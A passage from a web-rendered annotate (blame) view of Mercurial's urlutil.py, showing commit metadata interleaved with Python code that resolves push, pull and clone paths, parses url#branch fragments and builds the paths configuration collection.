urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
501 |
path = try_path(ui, dest) |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
502 |
if path is None: |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
503 |
msg = _(b'repository %s does not exist') |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
504 |
msg %= dest |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47027
diff
changeset
|
505 |
raise error.RepoError(msg) |
49697
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49696
diff
changeset
|
506 |
yield path.get_push_variant() |
46909
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
507 |
|
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
508 |
|
48240
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48239
diff
changeset
|
509 |
def get_pull_paths(repo, ui, sources): |
46910
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
510 |
"""yields all the `(path, branch)` selected as pull source by `sources`""" |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
511 |
if not sources: |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
512 |
sources = [b'default'] |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
513 |
for source in sources: |
46962
afdd7c472ef2
urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46940
diff
changeset
|
514 |
if source in ui.paths: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
515 |
for p in ui.paths[source]: |
48240
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48239
diff
changeset
|
516 |
yield p |
46962
afdd7c472ef2
urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46940
diff
changeset
|
517 |
else: |
48239
08630dd719f9
path: unify path creation in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48238
diff
changeset
|
518 |
p = path(ui, None, source, validate_path=False) |
48240
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48239
diff
changeset
|
519 |
yield p |
46910
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
520 |
|
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
521 |
|
46940
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
522 |
def get_unique_push_path(action, repo, ui, dest=None): |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
523 |
"""return a unique `path` or abort if multiple are found |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
524 |
|
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
525 |
This is useful for command and action that does not support multiple |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
526 |
destination (yet). |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
527 |
|
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
528 |
The `action` parameter will be used for the error message. |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
529 |
""" |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
530 |
if dest is None: |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
531 |
dests = [] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
532 |
else: |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
533 |
dests = [dest] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
534 |
dests = list(get_push_paths(repo, ui, dests)) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
535 |
if len(dests) != 1: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
536 |
if dest is None: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
537 |
msg = _( |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
538 |
b"default path points to %d urls while %s only supports one" |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
539 |
) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
540 |
msg %= (len(dests), action) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
541 |
else: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
542 |
msg = _(b"path points to %d urls while %s only supports one: %s") |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
543 |
msg %= (len(dests), action, dest) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
544 |
raise error.Abort(msg) |
46940
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
545 |
return dests[0] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
546 |
|
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
547 |
|
49722
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
548 |
def get_unique_pull_path_obj(action, ui, source=None): |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
549 |
"""return a unique `(path, branch)` or abort if multiple are found |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
550 |
|
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
551 |
This is useful for command and action that does not support multiple |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
552 |
destination (yet). |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
553 |
|
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
554 |
The `action` parameter will be used for the error message. |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
555 |
|
49722
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
556 |
note: Ideally, this function would be called `get_unique_pull_path` to |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
557 |
mirror the `get_unique_push_path`, but the name was already taken. |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
558 |
""" |
49721
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
559 |
sources = [] |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
560 |
if source is not None: |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
561 |
sources.append(source) |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
562 |
|
49722
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
563 |
pull_paths = list(get_pull_paths(None, ui, sources=sources)) |
49721
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
564 |
path_count = len(pull_paths) |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
565 |
if path_count != 1: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
566 |
if source is None: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
567 |
msg = _( |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
568 |
b"default path points to %d urls while %s only supports one" |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
569 |
) |
49721
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
570 |
msg %= (path_count, action) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
571 |
else: |
47411
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47410
diff
changeset
|
572 |
msg = _(b"path points to %d urls while %s only supports one: %s") |
49721
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49720
diff
changeset
|
573 |
msg %= (path_count, action, source) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
574 |
raise error.Abort(msg) |
49722
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
575 |
return pull_paths[0] |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
576 |
|
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
577 |
|
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
578 |
def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
579 |
"""return a unique `(url, branch)` or abort if multiple are found |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
580 |
|
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
581 |
See `get_unique_pull_path_obj` for details. |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
582 |
""" |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
583 |
path = get_unique_pull_path_obj(action, ui, source=source) |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49721
diff
changeset
|
584 |
return parseurl(path.rawloc, default_branches) |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
585 |
|
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
586 |
|
49740
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
587 |
def get_clone_path_obj(ui, source): |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
588 |
"""return the `(origsource, url, branch)` selected as clone source""" |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
589 |
if source == b'': |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
590 |
return None |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
591 |
return get_unique_pull_path_obj(b'clone', ui, source=source) |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
592 |
|
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
593 |
|
49739
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49738
diff
changeset
|
594 |
def get_clone_path(ui, source, default_branches=None): |
49738
afcf59039b5d
path: clarify document of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49722
diff
changeset
|
595 |
"""return the `(origsource, url, branch)` selected as clone source""" |
49740
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
596 |
path = get_clone_path_obj(ui, source) |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
597 |
if path is None: |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49739
diff
changeset
|
598 |
return (b'', b'', (None, default_branches)) |
49739
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49738
diff
changeset
|
599 |
if default_branches is None: |
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49738
diff
changeset
|
600 |
default_branches = [] |
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49738
diff
changeset
|
601 |
branches = (path.branch, default_branches) |
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49738
diff
changeset
|
602 |
return path.rawloc, path.loc, branches |
46934
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
603 |
|
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
604 |
|
46908
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
605 |
def parseurl(path, branches=None): |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
606 |
'''parse url#branch, returning (url, (branch, branches))''' |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
607 |
u = url(path) |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
608 |
branch = None |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
609 |
if u.fragment: |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
610 |
branch = u.fragment |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
611 |
u.fragment = None |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
612 |
return bytes(u), (branch, branches or []) |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
613 |
|
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
614 |
|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
615 |
class paths(dict): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
616 |
"""Represents a collection of paths and their configs. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
617 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
618 |
Data is initially derived from ui instances and the config files they have |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
619 |
loaded. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
620 |
""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
621 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
622 |
def __init__(self, ui): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
623 |
dict.__init__(self) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
624 |
|
47272
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
625 |
home_path = os.path.expanduser(b'~') |
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
626 |
|
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
627 |
for name, value in ui.configitems(b'paths', ignoresub=True): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
628 |
# No location is the same as not existing. |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
629 |
if not value: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
630 |
continue |
47272
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
631 |
_value, sub_opts = ui.configsuboptions(b'paths', name) |
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
632 |
s = ui.configsource(b'paths', name) |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
633 |
root_key = (name, value, s) |
47272
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47187
diff
changeset
|
634 |
root = ui._path_to_root.get(root_key, home_path) |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
635 |
|
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
636 |
multi_url = sub_opts.get(b'multi-urls') |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
637 |
if multi_url is not None and stringutil.parsebool(multi_url): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
638 |
base_locs = stringutil.parselist(value) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
639 |
else: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
640 |
base_locs = [value] |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
641 |
|
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
642 |
paths = [] |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
643 |
for loc in base_locs: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
644 |
loc = os.path.expandvars(loc) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
645 |
loc = os.path.expanduser(loc) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
646 |
if not hasscheme(loc) and not os.path.isabs(loc): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
647 |
loc = os.path.normpath(os.path.join(root, loc)) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
648 |
p = path(ui, name, rawloc=loc, suboptions=sub_opts) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
649 |
paths.append(p) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
650 |
self[name] = paths |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
651 |
|
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
652 |
for name, old_paths in sorted(self.items()): |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
653 |
new_paths = [] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
654 |
for p in old_paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
655 |
new_paths.extend(_chain_path(p, ui, self)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
656 |
self[name] = new_paths |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
657 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
658 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
659 |
_pathsuboptions = {} |
50692
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
660 |
# a dictionnary of methods that can be used to format a sub-option value |
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
661 |
path_suboptions_display = {} |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
662 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
663 |
|
50692
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
664 |
def pathsuboption(option, attr, display=pycompat.bytestr): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
665 |
"""Decorator used to declare a path sub-option. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
666 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
667 |
Arguments are the sub-option name and the attribute it should set on |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
668 |
``path`` instances. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
669 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
670 |
The decorated function will receive as arguments a ``ui`` instance, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
671 |
``path`` instance, and the string value of this option from the config. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
672 |
The function should return the value that will be set on the ``path`` |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
673 |
